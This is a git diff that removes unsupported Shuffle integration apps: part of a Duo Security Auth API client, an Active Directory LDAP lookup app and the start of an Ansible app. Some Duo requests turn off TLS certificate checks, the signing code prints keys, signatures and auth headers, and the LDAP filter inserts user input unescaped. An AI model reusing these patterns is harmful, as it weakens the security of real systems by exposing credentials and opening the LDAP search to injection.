""" - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - def sign(self, secret_key, itegration_key, api_host, method, path, params): - """ - Return HTTP Basic Authentication ("Authorization" and "Date") headers. - method, host, path: strings from request - params: dict of request parameters - skey: secret key - ikey: integration key - """ - # create canonical string - now = email.utils.formatdate() - canon = [now, method.upper(), api_host.lower(), path] - args = [] - for key in sorted(params.keys()): - val = params[key].encode("utf-8") - args.append( - '%s=%s' % (urllib.parse. - quote(key, '~'), urllib.parse.quote(val, '~'))) - canon.append('&'.join(args)) - canon = '\n'.join(canon) - - # sign canonical string - sig = hmac.new(bytes(secret_key, encoding='utf-8'), - bytes(canon, encoding='utf-8'), - hashlib.sha1) - print("sig", sig.hexdigest()) - print("intergration key", itegration_key) - auth = '%s:%s' % (itegration_key, sig.hexdigest()) - - # return headers - print("base",base64.b64encode(bytes(auth, encoding="utf-8")).decode()) - return {'Date': now, 'Authorization': 'Basic %s' % base64.b64encode(bytes(auth, encoding="utf-8")).decode()} - - # Function to verify that Duo is up before trying to call other Auth API endpoints - def Ping(self, secret_key, itegration_key, api_host): - path = "/auth/v2/ping" - request_url = f"{api_host}{path}" - params = {} - headers = self.sign(secret_key, itegration_key, - api_host, "GET", path, params) - request_headers = {'Content-Type': 'application/json', - 'Authorization': f"{headers['Authorization']}", 'Date': f"{headers['Date']}"} - try: - response = requests.get( - request_url, headers=request_headers, verify=False) - print(response) - res = json.loads(response.text) - print(res) - return res - except Exception as e: - return json.dumps({"success": "false", "message": str(e)}) - - # Function to verify that the Auth API integration and secret keys are valid, and that the signature is being generated properly - def Check(self, secret_key, itegration_key, api_host): - path = "/auth/v2/check" - request_url = f"{api_host}{path}" - params = {} - headers = self.sign(secret_key, itegration_key, - api_host, "GET", path,params) - - print(headers['Date']) - print(headers['Authorization']) - request_headers = {"Content-Type": "application/x-www-form-urlencoded","Date": f"{headers['Date']}","Authorization": f"{headers['Authorization']}"} - try: - response = requests.get( - request_url, headers=request_headers, verify=True) - res = json.loads(response.content.decode()) - return res - except Exception as e: - return json.dumps({"success": "false", "message": str(e)}) - - # Function provides a programmatic way to retrieve your stored logo. - def GetLogo(self, secret_key, itegration_key, api_host): - path = "/auth/v2/logo" - params = {} - request_url = f"{api_host}{path}" - headers = self.sign(secret_key, itegration_key, - api_host, "GET", path, params) - request_headers = {'Content-Type': 'application/json', - 'Authorization': f"{headers.get('Authorization')}", 'Date': f"{headers.get('Date')}"} - try: - response = requests.get( - request_url, headers=request_headers, verify=False) - res = json.loads(response.content.decode()) - return res - except Exception as e: - return json.dumps({"success": "false", "message": str(e)}) - - # Function provides a programmatic way to enroll new users with Duo two-factor authentication. It creates the user in Duo and returns a code (as a QR code) that Duo Mobile can scan with its built-in camera. Scanning the QR code adds the user's account to the app so that they receive and respond to Duo Push login requests. - def EnrollNewUser(self, secret_key, itegration_key, api_host, username): - path = "/auth/v2/enroll" - params = {"username": username} - request_url = f"{api_host}{path}" - - headers = self.sign(secret_key, itegration_key,api_host, "POST", path, params) - - request_headers = {"Content-Type": "application/x-www-form-urlencoded", - "Authorization": f"{headers['Authorization']}", 'Date': f"{headers['Date']}"} - - print(headers['Authorization']) - print(headers['Date']) - - payload = json.dumps(params) - try: - response = requests.request( - "POST", request_url, headers=request_headers, data=payload) - res = json.loads(response.content.decode()) - return res - except Exception as e: - return json.dumps({"success": "false", "message": str(e)}) - - # Check whether a user has completed enrollment. - def GetEnrollStatus(self, secret_key, itegration_key, api_host, user_id, activation_code): - path = "/auth/v2/enroll_status" - params = { - "user_id": user_id, - "activation_code": activation_code - } - request_url = f"{api_host}{path}" - - headers = self.sign(secret_key, itegration_key, - api_host, "POST", path, params) - - request_headers = {'Content-Type': 'application/json', - 'Authorization': f"{headers['Authorization']}", 'Date': f"{headers['Date']}"} - - payload = json.dumps(params) - try: - response = requests.request( - "POST", request_url, headers=request_headers, data=payload) - res = json.loads(response.content.decode()) - return res - except Exception as e: - return json.dumps({"success": "false", "message": str(e)}) - - # Function determines whether a user is authorized to log in, and (if so) returns the user's available authentication factors. - def PreAuthCheck(self, secret_key, itegration_key, api_host, user_id, username): - path = "/auth/v2/preauth" - params = { - "user_id": user_id, - "username": username - } - request_url = f"{api_host}{path}" - - headers = self.sign(secret_key, itegration_key, - api_host, "POST", path, params) - - request_headers = {'Content-Type': 'application/json', - 'Authorization': f"{headers['Authorization']}", 'Date': f"{headers['Date']}"} - - payload = json.dumps(params) - try: - response = requests.request( - "POST", request_url, headers=request_headers, data=payload) - res = json.loads(response.content.decode()) - return res - except Exception as e: - return json.dumps({"success": "false", "message": str(e)}) - - # Function performs second-factor authentication for a user by sending a push notification to the user's smartphone app, verifying a passcode, or placing a phone call. It is also used to send the user a new batch of passcodes via SMS. - def Auth(self, secret_key, itegration_key, api_host, user_id, username, factor, device, passcode): - path = "/auth/v2/auth" - params = { - "user_id": user_id, - "username": username, - "factor": factor, - "device": device, - "passcode": passcode - } - request_url = f"{api_host}{path}" - - headers = self.sign(secret_key, itegration_key, - api_host, "POST", path, params) - - request_headers = {'Content-Type': 'application/json', - 'Authorization': f"{headers['Authorization']}", 'Date': f"{headers['Date']}"} - - payload = json.dumps(params) - try: - response = requests.request( - "POST", request_url, headers=request_headers, data=payload) - res = json.loads(response.content.decode()) - return res - except Exception as e: - return json.dumps({"success": "false", "message": str(e)}) - - # Function "long-polls" for the next status update from the authentication process for a given transaction. That is to say, if no status update is available at the time the request is sent, it will wait until there is an update before returning a response. - def GetAuthStatus(self, secret_key, itegration_key, api_host, txid): - path = "/auth/v2/auth_status" - params = { - "txid": txid - } - request_url = f"{api_host}{path}" - headers = self.sign(secret_key, itegration_key, - api_host, "GET", path, params) - request_headers = {'Content-Type': 'application/json', - 'Authorization': f"{headers['Authorization']}", 'Date': f"{headers['Date']}"} - try: - response = requests.get( - request_url, headers=request_headers, verify=False) - res = json.loads(response.content.decode()) - return res - except Exception as e: - return json.dumps({"success": "false", "message": str(e)}) - - -if __name__ == "__main__": - DuoSecurity.run() diff --git a/unsupported/ad-ldap/1.0.0/Dockerfile b/unsupported/ad-ldap/1.0.0/Dockerfile deleted file mode 100644 index 364e1531..00000000 --- a/unsupported/ad-ldap/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/unsupported/ad-ldap/1.0.0/README.md b/unsupported/ad-ldap/1.0.0/README.md deleted file mode 100644 index 2459d1bf..00000000 --- a/unsupported/ad-ldap/1.0.0/README.md +++ /dev/null @@ -1,27 +0,0 @@ -# AD LDAP App - -The AD LDAP app is used to query Active Directory and/or LDAP for associated attributes. Currently, this is focused on Active Directory and can query by SamAccountName but more functionality to come! - -![image](https://user-images.githubusercontent.com/11653079/113415296-e57fe200-938c-11eb-8303-149cb9f85f50.png) - -## Actions - -- Search samaccountname - -## Requirements - -- Active Directory account with permissions to BIND and lookup user attributes - -## Setup - -1. Collect details for the Active Directory user that will be used to query AD/LDAP -2. Add the `AD LDAP` node to your workflow -3. Enter the required parameters: - - **domain_name**: "CONTOSO" - - **server_name**: "dc.contoso.com" - - **user_name**: "binduser" - - **password**: "Password123IsWeak" - - **samaccountname**: "smithj" - - **search_base**: "OU=users,DC=contoso,DC=local" - - **port**: 3269 (AD Global Catalog SSL port) - - **use_ssl**: true diff --git a/unsupported/ad-ldap/1.0.0/api.yaml b/unsupported/ad-ldap/1.0.0/api.yaml deleted file mode 100644 index 67035203..00000000 --- a/unsupported/ad-ldap/1.0.0/api.yaml +++ /dev/null @@ -1,79 +0,0 @@ -app_version: 1.0.0 -name: AD LDAP -description: A simple app to query Active Directory and LDAP -contact_info: - name: "@arnydo" - url: https://kyleparrish.com - email: arnydo@pm.me -tags: - - activedirectory - - ldap -categories: - - IAM - - assets -authentication: - required: true - parameters: - - name: domain_name - description: "Domain Name" - example: "CONTOSO" - required: true - schema: - type: string - - name: server_name - description: "Server to connect to" - example: "server-1.contoso.com" - required: true - schema: - type: string - - name: user_name - description: "Username to BIND to AD/LDAP with" - example: "binduser" - required: true - schema: - type: string - - name: password - description: "Password to BIND with" - example: "Password1IsBad!" - required: true - schema: - type: string -actions: - - name: search_samaccountname - description: Query AD for details about a specified user - parameters: - - name: samaccountname - description: user to query - required: true - multiline: false - example: 'smithj' - schema: - type: string - - name: search_base - description: "OU to search in." - required: true - multiline: false - example: "OU=users,DC=contoso,DC=com" - schema: - type: string - - name: port - description: Port to to BIND to - required: true - multiline: false - example: 3269 - schema: - type: string - - name: use_ssl - description: Use SSL to BIND to directory - required: true - options: - - False - - True - multiline: false - example: "false" - schema: - type: string - returns: - schema: - type: string -large_image: data:image/jpg;base64,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 diff --git a/unsupported/ad-ldap/1.0.0/requirements.txt b/unsupported/ad-ldap/1.0.0/requirements.txt deleted file mode 100644 index 5238833e..00000000 --- a/unsupported/ad-ldap/1.0.0/requirements.txt +++ /dev/null @@ -1,2 +0,0 @@ -ldap3==2.9.1 -requests==2.25.1 diff --git a/unsupported/ad-ldap/1.0.0/src/app.py b/unsupported/ad-ldap/1.0.0/src/app.py deleted file mode 100644 index 987e8b8a..00000000 --- a/unsupported/ad-ldap/1.0.0/src/app.py +++ /dev/null @@ -1,43 +0,0 @@ -import json -import ldap3 -import asyncio -from ldap3 import Server, Connection, AUTO_BIND_NO_TLS, SUBTREE, BASE, ALL_ATTRIBUTES, ObjectDef, AttrDef, Reader, Entry, Attribute, OperationalAttribute -from walkoff_app_sdk.app_base import AppBase - - -class ADLDAP(AppBase): - __version__ = "1.0.0" - app_name = "AD LDAP" # this needs to match "name" in api.yaml - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - # Write your data inside this function - def search_samaccountname(self, domain_name, server_name, user_name, password, samaccountname, search_base, port, use_ssl): - - user = '{}\\{}'.format(domain_name, user_name) - port = int(port) - use_ssl = False if use_ssl.lower() == "false" else True - - conn = Connection(Server(server_name, port=port, use_ssl=use_ssl), auto_bind=AUTO_BIND_NO_TLS, user=user, password=password) - - print(conn, - search_base, - sep='\n') - - conn.search( - search_base=search_base, - search_filter=f'(samAccountName={samaccountname})', - attributes=ALL_ATTRIBUTES - ) - - return json.loads(conn.response_to_json())['entries'] - -if __name__ == "__main__": - ADLDAP.run() diff --git a/unsupported/ansible/1.0.0/Dockerfile b/unsupported/ansible/1.0.0/Dockerfile deleted file mode 100644 index 364e1531..00000000 --- a/unsupported/ansible/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/unsupported/ansible/1.0.0/api.yaml b/unsupported/ansible/1.0.0/api.yaml deleted file mode 100644 index 4c560028..00000000 --- a/unsupported/ansible/1.0.0/api.yaml +++ /dev/null @@ -1,26 +0,0 @@ -app_version: 1.0.0 -name: Ansible -description: Ansible app -contact_info: - name: "@frikkylikeme" - url: https://shuffler.io - email: frikky@shuffler.io -tags: - - Testing -categories: - - Testing -actions: - - name: run_playbook - description: Runs an Ansible playbook defined in Files - parameters: - - name: playbook - description: The JSON to handle - required: true - example: '' - schema: - type: file - name: ansible - returns: - schema: - type: string -large_image: data:image/jpg;base64,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